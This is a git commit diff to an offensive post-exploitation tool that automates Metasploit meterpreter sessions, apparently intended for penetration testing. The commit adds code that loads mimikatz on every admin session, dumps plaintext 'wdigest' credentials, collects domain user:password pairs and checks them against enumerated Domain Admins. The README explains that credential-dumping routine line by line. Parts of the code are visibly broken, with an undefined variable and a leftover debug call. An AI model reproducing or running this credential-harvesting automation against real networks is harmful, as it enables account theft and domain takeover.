updated error handling

This commit is contained in:
root
2018-06-18 20:09:51 -06:00
parent 3d58074630
commit 64684e0f39
2 changed files with 207 additions and 170 deletions

View File

@@ -19,37 +19,34 @@ cd msfrpc && python2 setup install && cd ..
```./async-meterpreter-controller.py```
#### How to extend
By default all the script does is run `sysinfo`, `getuid`, and windows/post/gather/win_privs then prints all the shell info to the console. All session data is being stored in the global NEW_SESS_DATA dictionary. To extend the template and send commands and get output from each meterpreter session you'll want to go to line 470. Here's an example of how you'd run mimikatz on each session. Start coding on line 472:
By default all the script does is run `sysinfo`, `getuid`, and windows/post/gather/win_privs then prints all the shell info to the console. All session data is being stored in the global NEW_SESS_DATA dictionary. To extend the template and send commands and get output from each meterpreter session you'll want to go to line 340. Here's an example of how you'd run mimikatz on each session. This code is called on 342 and the function resides at 302:
```
global NEW_SESS_DATA
load_mimi_cmd = 'load mimikatz'
load_mimi_end_strs = [b'Success.', b'has already been loaded.']
load_mimi_output = await run_session_cmd(client, sess_num, load_mimi_cmd, load_mimi_end_strs)
wdigest_cmd = 'wdigest'
wdigest_end_str = [b' Password']
mimikatz_output = await run_session_cmd(client, sess_num, wdigest_cmd, wdigest_end_str)
if type(mimikatz_output) == str:
return mimikatz_output
else:
mimikatz_utf8_out = mimikatz_output.decode('utf8')
mimikatz_split = mimikatz_utf8_out.splitlines()
for l in mimikatz_split:
print_info(l.strip(), sess_num)
NEW_SESS_DATA[sess_num][b'mimikatz_output'] = mimikatz_split
async def run_mimikatz(client, sess_num):
global DOMAIN_DATA
load_mimi_cmd = 'load mimikatz'
load_mimi_end_strs = [b'Success.', b'has already been loaded.']
load_mimi_output, err = await run_session_cmd(client, sess_num, load_mimi_cmd, load_mimi_end_strs)
if err:
return
wdigest_cmd = 'wdigest'
wdigest_end_str = [b' Password']
mimikatz_output, err = await run_session_cmd(client, sess_num, wdigest_cmd, wdigest_end_str)
if err:
return
else:
mimikatz_split = mimikatz_output.splitlines()
for l in mimikatz_split:
if l.startswith(b'0;'):
line_split = l.split()
dom = line_split[2]
if dom.lower() == NEW_SESS_DATA[sess_num][b'domain'].lower():
user = '{}\{}'.format(dom.decode('utf8'), line_split[3].decode('utf8'))
password = line_split[4]
if b'wdigest KO' not in password:
user_and_pass = '{}:{}'.format(user, password.decode('utf8'))
if user_and_pass not in DOMAIN_DATA['creds']:
DOMAIN_DATA['creds'].append(user_and_pass)
print_good(msg, sess_num)
check_for_DA(user_and_pass)
```
* Line 1: We will be adding data to NEW_SESS_DATA so that all async coroutines can access the same information about the sessions so we have to define it as a global variable.
* Line 2: We start by creating the command to load the mimikatz plugin in the session.
* Line 3: The script asynchronously waits for the meterpreter output but it's just reading the meterpreter buffer over and over so we give it any number of byte literals to look for that will tell it the command finished. There's also builtin ability to detect timed out commands and various errors.
* Line 4: This is where we call the meterpreter command on that session and asynchronously wait for the output.
* Line 5: Command to run on the session.
* Line 6: The byte literal that will appear in the meterpreter output that tells us the command finished.
* Line 7: Asynchronously wait on the output of the 'wdigest' command.
* Line 8: run_session_cmd() will only return a string if it errored out. Otherwise it will return bytes, e.g., b'Blah blah'.
* Line 9: Here we return the function with the error message if it errored out.
* Line 10: If we get a byte literal then we know the command completed successfully.
* Line 11: Convert the byte literal to string.
* Line 12: Create a list where each item is one line from the output of the 'wdigest' command.
* Line 13: For each line of output from 'wdigest'...
* Line 14: Print that line of output. We have access to print_info(), print_good(), print_great(), and print_error() which will colorize the output.
* Line 15: Add the mimikatz data to the global variable NEW_SESS_DATA so that this data is now accessible should you want to do something with it later even if it's in another session.

View File

@@ -15,7 +15,7 @@ from netaddr import IPNetwork, AddrFormatError
from subprocess import Popen, PIPE, CalledProcessError
NEW_SESS_DATA = {}
DOMAIN_DATA = {'domain':None, 'domain_admins':[], 'domain_controllers':[], 'high_priority_ips':[], 'error':None}
DOMAIN_DATA = {'domain':None, 'domain_admins':[], 'domain_controllers':[], 'high_priority_ips':[], 'creds':[]}
def parse_args():
# Create the arguments
@@ -53,6 +53,7 @@ def print_great(msg, sess_num):
def kill_tasks():
print()
print_info('Killing tasks then exiting...', None)
embed()
for task in asyncio.Task.all_tasks():
task.cancel()
@@ -90,58 +91,64 @@ async def get_shell_info(client, sess_num):
sysinfo_cmd = 'sysinfo'
sysinfo_end_str = [b'Meterpreter : ']
sysinfo_output = await run_session_cmd(client, sess_num, sysinfo_cmd, sysinfo_end_str)
# Catch error
if type(sysinfo_output) == str:
return sysinfo_output
sysinfo_output, err = await run_session_cmd(client, sess_num, sysinfo_cmd, sysinfo_end_str)
if err:
print_bad('Session appears to be broken', sess_num)
return [b'ERROR']
else:
sysinfo_utf8_out = sysinfo_output.decode('utf8')
sysinfo_split = sysinfo_utf8_out.splitlines()
sysinfo_split = sysinfo_output.splitlines()
getuid_cmd = 'getuid'
getuid_end_str = [b'Server username:']
getuid_output = await run_session_cmd(client, sess_num, getuid_cmd, getuid_end_str)
# Catch error
if type(getuid_output) == str:
return getuid_output
getuid_output, err = await run_session_cmd(client, sess_num, getuid_cmd, getuid_end_str)
if err:
print_bad('Session appears to be dead', sess_num)
return [b'ERROR']
else:
getuid_utf8_out = getuid_output.decode('utf8')
getuid = 'User : '+getuid_utf8_out.split('Server username: ')[-1].strip().strip()
getuid = b'User : '+getuid_output.split(b'Server username: ')[-1].strip().strip()
# We won't get here unless there's no errors
shell_info_list = [getuid] + sysinfo_split
return shell_info_list
def get_domain(shell_info):
for l in shell_info:
if l == b'ERROR':
return l
l = l.decode('utf8')
l_split = l.split(':')
if 'Domain ' in l_split[0]:
if 'WORKGROUP' in l_split[1]:
return
return b'no domain'
else:
domain = l_split[-1].strip()
return domain
return domain.encode()
def is_domain_joined(user_info, domain):
info_split = user_info.split(':')
dom_and_user = info_split[1].strip()
dom_and_user_split = dom_and_user.split('\\')
dom = dom_and_user_split[0]
user = dom_and_user_split[1]
if user_info != b'ERROR':
info_split = user_info.split(b':')
dom_and_user = info_split[1].strip()
dom_and_user_split = dom_and_user.split(b'\\')
dom = dom_and_user_split[0]
user = dom_and_user_split[1]
if domain:
if dom.lower() in domain.lower():
return True
if domain != b'no domain':
if dom.lower() in domain.lower():
return b'True'
return False
return b'False'
def print_shell_data(shell_info, admin_shell, local_admin, sess_num_str):
print_info('New shell info', None)
for l in shell_info:
print(' '+l)
if l == b'ERROR':
pass#####
print(' '+l.decode('utf8'))
msg = ''' Admin shell : {}
Local admin : {}
Session number : {}'''.format(
@@ -150,78 +157,59 @@ def print_shell_data(shell_info, admin_shell, local_admin, sess_num_str):
sess_num_str)
print(msg)
async def check_domain_joined(client, sess_num, shell_info):
global NEW_SESS_DATA
# returns either a string of the domain name or False
domain = get_domain(shell_info)
if domain:
NEW_SESS_DATA[sess_num][b'domain'] = domain.encode()
domain_joined = is_domain_joined(shell_info[0], domain)
if domain_joined == True:
NEW_SESS_DATA[sess_num][b'domain_joined'] = b'True'
else:
NEW_SESS_DATA[sess_num][b'domain_joined'] = b'False'
async def sess_first_check(client, sess_num):
global NEW_SESS_DATA
if b'first_check' not in NEW_SESS_DATA[sess_num]:
sess_num_str = str(sess_num)
NEW_SESS_DATA[sess_num][b'first_check'] = b'False'
print_good('Gathering shell info...', sess_num)
# Give meterpeter chance to open
await asyncio.sleep(2)
sess_num_str = str(sess_num)
NEW_SESS_DATA[sess_num][b'first_check'] = b'False'
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
NEW_SESS_DATA[sess_num][b'session_number'] = sess_num_str.encode()
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
shell_info = await get_shell_info(client, sess_num)
# Catch errors
if type(shell_info) == str:
NEW_SESS_DATA[sess_num][b'error'] = shell_info.encode()
if shell_info == [b'ERROR']:
return
# Check if we're domain joined
await check_domain_joined(client, sess_num, shell_info)
domain = get_domain(shell_info)
NEW_SESS_DATA[sess_num][b'domain'] = domain
NEW_SESS_DATA[sess_num][b'domain_joined'] = is_domain_joined(shell_info[0], domain)
admin_shell, local_admin = await is_admin(client, sess_num)
# Catch errors
if type(admin_shell) == str:
NEW_SESS_DATA[sess_num][b'error'] = admin_shell.encode()
return
NEW_SESS_DATA[sess_num][b'admin_shell'] = admin_shell
NEW_SESS_DATA[sess_num][b'local_admin'] = local_admin
admin_shell, local_admin = await check_privs(client, sess_num)
print_shell_data(shell_info, admin_shell, local_admin, sess_num_str)
# Update DOMAIN_DATA for domain admins and domain controllers
await get_domain_data(client, sess_num)
async def is_admin(client, sess_num):
async def check_privs(client, sess_num):
global NEW_SESS_DATA
cmd = 'run post/windows/gather/win_privs'
end_str = [b'==================']
output = await run_session_cmd(client, sess_num, cmd, None)
# Catch error
if type(output) == str:
return (output, None)
if output:
split_out = output.decode('utf8').splitlines()
user_info_list = split_out[5].split()
admin_shell = user_info_list[0]
system = user_info_list[1]
local_admin = user_info_list[2]
user = user_info_list[5]
# Byte string
return (str(admin_shell).encode(), str(local_admin).encode())
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
if err:
admin_shell = b'ERROR'
local_admin = b'ERROR'
else:
return (b'ERROR', b'ERROR')
split_out = output.splitlines()
user_info_list = split_out[5].split()
system = user_info_list[1]
user = user_info_list[5]
admin_shell = user_info_list[0]
local_admin = user_info_list[2]
NEW_SESS_DATA[sess_num][b'admin_shell'] = admin_shell
NEW_SESS_DATA[sess_num][b'local_admin'] = local_admin
return (admin_shell, local_admin)
async def get_domain_controllers(client, sess_num):
global DOMAIN_DATA
@@ -231,18 +219,18 @@ async def get_domain_controllers(client, sess_num):
cmd = 'run post/windows/gather/enum_domains'
end_str = [b'[+] Domain Controller:']
output = await run_session_cmd(client, sess_num, cmd, end_str)
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
# Catch timeout
if type(output) == str:
NEW_SESS_DATA[sess_num][b'error'] = output
if err:
return
output = output.decode('utf8')
if 'Domain Controller: ' in output:
dc = output.split('Domain Controller: ')[-1].strip()
if dc not in DOMAIN_DATA['domain_controllers']:
DOMAIN_DATA['domain_controllers'].append(dc)
print_good('Domain controller: '+dc, sess_num)
else:
output = output.decode('utf8')
if 'Domain Controller: ' in output:
dc = output.split('Domain Controller: ')[-1].strip()
if dc not in DOMAIN_DATA['domain_controllers']:
DOMAIN_DATA['domain_controllers'].append(dc)
print_good('Domain controller: '+dc, sess_num)
async def get_domain_admins(client, sess_num, ran_once):
global DOMAIN_DATA
@@ -252,10 +240,8 @@ async def get_domain_admins(client, sess_num, ran_once):
cmd = 'run post/windows/gather/enum_domain_group_users GROUP="Domain Admins"'
end_str = [b'[+] User list']
output = await run_session_cmd(client, sess_num, cmd, end_str)
# Catch timeout
if type(output) == str:
NEW_SESS_DATA[sess_num][b'error'] = output
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
if err:
return
output = output.decode('utf8')
@@ -305,53 +291,121 @@ def update_session(session, sess_num):
# Update session with the new key:value's in NEW_SESS_DATA
# This will not change any of the MSF session data, just add new key:value pairs
NEW_SESS_DATA[sess_num] = add_session_keys(session)
else:
NEW_SESS_DATA[sess_num] = session
# Add empty error key to collect future errors
if b'error' not in NEW_SESS_DATA[sess_num]:
NEW_SESS_DATA[sess_num][b'error'] = []
async def run_mimikatz(client, sess_num):
global DOMAIN_DATA
load_mimi_cmd = 'load mimikatz'
load_mimi_end_strs = [b'Success.', b'has already been loaded.']
load_mimi_output, err = await run_session_cmd(client, sess_num, load_mimi_cmd, load_mimi_end_strs)
if err:
return
wdigest_cmd = 'wdigest'
wdigest_end_str = [b' Password']
mimikatz_output, err = await run_session_cmd(client, sess_num, wdigest_cmd, wdigest_end_str)
if err:
return
else:
mimikatz_split = mimikatz_output.splitlines()
for l in mimikatz_split:
if l.startswith(b'0;'):
line_split = l.split()
dom = line_split[2]
if dom.lower() == NEW_SESS_DATA[sess_num][b'domain'].lower():
user = '{}\{}'.format(dom.decode('utf8'), line_split[3].decode('utf8'))
password = line_split[4]
if b'wdigest KO' not in password:
user_and_pass = '{}:{}'.format(user, password.decode('utf8'))
if user_and_pass not in DOMAIN_DATA['creds']:
DOMAIN_DATA['creds'].append(user_and_pass)
print_good(msg, sess_num)
check_for_DA(user_and_pass)
def check_for_DA(user_and_pass):
if user_and_pass in DOMAIN_DATA['domain_admins']:
print_good('Domain admin found! {}'.format(user_and_pass))
kill_tasks()
sys.exit()
async def do_stuff_with_session(client, sess_num):
##################
# YOUR CODE HERE #
##################
await run_mimikatz(client, sess_num)
async def attack(client, sess_num):
# Is admin
if NEW_SESS_DATA[sess_num][b'admin_shell'] == b'True':
await do_stuff_with_session(client, sess_num)
async def attack_with_session(client, session, sess_num):
''' Attacks with a session '''
update_session(session, sess_num)
# Get and print session info if first time we've checked the session
task = await sess_first_check(client, sess_num)
if task:
await asyncio.wait(task)
if is_session_broken(sess_num) == False:
await attack(client, sess_num)
def get_output(client, cmd, sess_num):
output = client.call('session.meterpreter_read', [str(sess_num)])
# Everythings fine
if b'data' in output:
return output[b'data']
return (output[b'data'], None)
# Got an error from the client.call
elif b'error_message' in output:
decoded_err = output[b'error_message'].decode('utf8')
print_bad(error_msg.format(sess_num_str, decoded_err), sess_num)
return decoded_err
return (None, decoded_err)
# Some other error catchall
else:
return cmd
return (None, cmd)
def get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs):
global NEW_SESS_DATA
script_errors = [b'[-] post failed',
b'error in script',
b'operation failed',
b'unknown command',
b'operation timed out',
b'unknown session id']
err = None
# Got an error from output
if any(x in output.lower() for x in script_errors):
print_bad('Command [{}] failed with error: {}'.format(cmd, output.decode('utf8').strip()), sess_num)
return cmd, counter
err = 'Command [{}] failed with error: {}'.format(cmd, output.decode('utf8').strip())
# If no terminating string specified just wait til timeout
if output == b'':
counter += sleep_secs
if counter > timeout:
print_bad('Command [{}] timed out'.format(cmd), sess_num)
return 'timed out', counter
err = 'Command [{}] timed out'.format(cmd)
# No output but we haven't reached timeout yet
return output, counter
return (output, err, counter)
async def run_session_cmd(client, sess_num, cmd, end_strs, timeout=30):
''' Will only return a str if we failed to run a cmd'''
global NEW_SESS_DATA
err = None
output = None
error_msg = 'Error in session {}: {}'
sess_num_str = str(sess_num)
@@ -367,7 +421,8 @@ async def run_session_cmd(client, sess_num, cmd, end_strs, timeout=30):
if b'error_message' in res:
err_msg = res[b'error_message'].decode('utf8')
print_bad(error_msg.format(sess_num_str, err_msg), sess_num)
return err_msg
NEW_SESS_DATA[sess_num][b'error'].append(err_msg)
return (None, err_msg)
elif res[b'result'] == b'success':
@@ -378,43 +433,49 @@ async def run_session_cmd(client, sess_num, cmd, end_strs, timeout=30):
while True:
await asyncio.sleep(sleep_secs)
output = get_output(client, cmd, sess_num)
output, err = get_output(client, cmd, sess_num)
# Error from meterpreter console
if type(output) == str:
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
return output
if err:
NEW_SESS_DATA[sess_num][b'error'].append(err_msg)
print_bad('Meterpreter error: {}'.format(err), sess_num)
break
# Check for errors from cmd's output
output, err, counter = get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs)
if err:
NEW_SESS_DATA[sess_num][b'error'].append(err)
print_bad(err, sess_num)
break
# Successfully completed
if end_strs:
if any(end_str in output for end_str in end_strs):
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
return output
break
# If no end_str specified just return once we have any data
else:
if len(output) > 0:
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
return output
# Check for errors from cmd's output
output, counter = get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs)
# Error from cmd output including timeout
if type(output) == str:
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
return output
break
# This usually occurs when the session suddenly dies or user quits it
except Exception as e:
err = 'exception below likely due to abrupt death of session'
print_bad(error_msg.format(sess_num_str, err), sess_num)
print_bad(' '+str(e), None)
NEW_SESS_DATA[sess_num][b'error'].append(err)
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
return err
return (output, err)
# b'result' not in res, b'error_message' not in res, just catch everything else as an error
else:
err = res[b'result'].decode('utf8')
NEW_SESS_DATA[sess_num][b'error'].append(err)
print_bad(res[b'result'].decode('utf8'), sess_num)
NEW_SESS_DATA[sess_num][b'busy'] = b'True'
return cmd
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
return (output, err)
def get_perm_token(client):
# Authenticate and grab a permanent token
@@ -431,8 +492,10 @@ def is_session_broken(sess_num):
# Session timed out on initial sysinfo cmd
if b'domain' not in NEW_SESS_DATA[sess_num]:
return True
elif b'domain' == b'ERROR':
return True
# Session abruptly died
if NEW_SESS_DATA[sess_num][b'error'] == b'exception below likely due to abrupt death of session':
if NEW_SESS_DATA[sess_num][b'error'] == 'exception below likely due to abrupt death of session':
return True
# Session timed out
if 'Rex::TimeoutError' in NEW_SESS_DATA[sess_num][b'error']:
@@ -441,7 +504,7 @@ def is_session_broken(sess_num):
return False
def add_session_keys(session, sess_num):
for k in NEW_SESS_DATA[s]:
for k in NEW_SESS_DATA[sess_num]:
if k not in session:
session[k] = NEW_SESS_DATA[sess_num].get(k)
@@ -450,10 +513,9 @@ def add_session_keys(session, sess_num):
async def check_for_sessions(client, loop):
global NEW_SESS_DATA
print_info('Waiting for Meterpreter shell', None)
print_info('Waiting on new meterpreter session', None)
while True:
# Get list of MSF sessions from RPC server
sessions = client.call('session.list')
@@ -465,28 +527,6 @@ async def check_for_sessions(client, loop):
await asyncio.sleep(1)
async def do_stuff_with_meterpreter(client, sess_num):
''' Do stuff with each session here '''
######################################
# YOUR CODE HERE #
######################################
pass
async def attack_with_session(client, session, sess_num):
''' Attacks with a session '''
update_session(session, sess_num)
# Get and print session info if first time we've checked the session
#asyncio.ensure_future(sess_first_check(client, sess_num))
task = await sess_first_check(client, sess_num)
if task:
await asyncio.wait(task)
if is_session_broken(sess_num) == False:
print('are we here yet 2')
# THIS IS WHERE YOU CAN DO STUFF WITH EACH SESSION
await do_stuff_with_meterpreter(client, sess_num)
def main(args):
client = msfrpc.Msfrpc({})